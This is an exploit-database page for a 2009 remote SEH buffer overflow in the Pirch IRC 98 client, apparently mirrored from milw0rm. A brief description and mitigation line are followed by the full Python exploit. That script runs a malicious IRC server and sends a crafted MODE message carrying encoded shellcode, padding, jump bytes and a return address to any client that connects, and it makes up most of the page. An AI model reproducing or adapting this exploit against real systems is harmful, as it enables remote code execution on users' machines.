Pirch IRC 98 Client (response) Remote BOF Exploit (SEH)

vendor:

Pirch IRC 98 Client (response)

by:

His0k4

7,5

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: Pirch IRC 98 Client (response)

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows XP SP3

2008

Pirch IRC 98 Client (response) Remote BOF Exploit (SEH)

A buffer overflow vulnerability exists in Pirch IRC 98 Client (response) due to improper bounds checking of user-supplied input. An attacker can exploit this vulnerability to execute arbitrary code in the context of the application. This vulnerability is being exploited by sending a specially crafted payload to the vulnerable application. This payload contains malicious code that is executed when the application attempts to process the malicious input.

Mitigation:

Upgrade to the latest version of Pirch IRC 98 Client (response) or apply the patch from the vendor.

Source

Exploit-DB raw data:

#!/usr/bin/python
#[*] Usage : python pirch.py
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     :      Pirch IRC 98 Client (response) Remote BOF Exploit (SEH)
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Ref	:   Bid 5079
#[*] Exploited by : His0k4
#[*] Greetings :    All friends (DZ)


from socket import *

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x58\x4e\x47"
"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x34\x4a\x41\x4b\x58"
"\x4f\x55\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x38\x46\x33\x4b\x48"
"\x41\x50\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x58\x42\x4c"
"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x46\x50\x45\x47\x45\x4e\x4b\x48"
"\x4f\x55\x46\x52\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x30\x4b\x34"
"\x4b\x48\x4f\x35\x4e\x51\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x58"
"\x41\x50\x4b\x4e\x49\x48\x4e\x55\x46\x42\x46\x50\x43\x4c\x41\x43"
"\x42\x4c\x46\x36\x4b\x38\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x47"
"\x4e\x30\x4b\x48\x42\x34\x4e\x50\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x48\x4a\x36\x4a\x50\x4b\x4e\x49\x50\x4b\x48\x42\x38\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x58\x4a\x56\x4e\x43\x4f\x35\x41\x33"
"\x48\x4f\x42\x46\x48\x55\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x57"
"\x42\x45\x4a\x46\x42\x4f\x4c\x58\x46\x30\x4f\x35\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x36\x43\x56\x42\x30\x5a")

payload =  "DZ" #Trick track
payload += shellcode
payload += "\x41"*(1035-len(shellcode))
payload += "\xE8\xF0\xFB\xFF\xFF" # back again
payload += "\x42"*5
payload += "\xEB\xF4\xFF\xFF" # back
payload += "\x9A\x2B\x40\x0A" # lucky x0A=>x00  ;)   univ p/p/r


head =  ":irc.localhost 001 attacker :Welcome to the Internet Relay Chat network, attacker!pirch@0.0.0.0\r\n"
head += ":attacker_test!pirch@0.0.0.gl08= MODE "+payload+" :-i\r\n"


s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 6667))
s.listen(1)

print "[*] Listening on [IRC] 6667"
c, addr = s.accept()
print "[*] Connection accepted from: %s" % (addr[0])
c.recv(1024)
c.send(head)

raw_input("[*] Payload sended!\nPress key to exit")
c.close()
s.close()

# milw0rm.com [2009-07-12]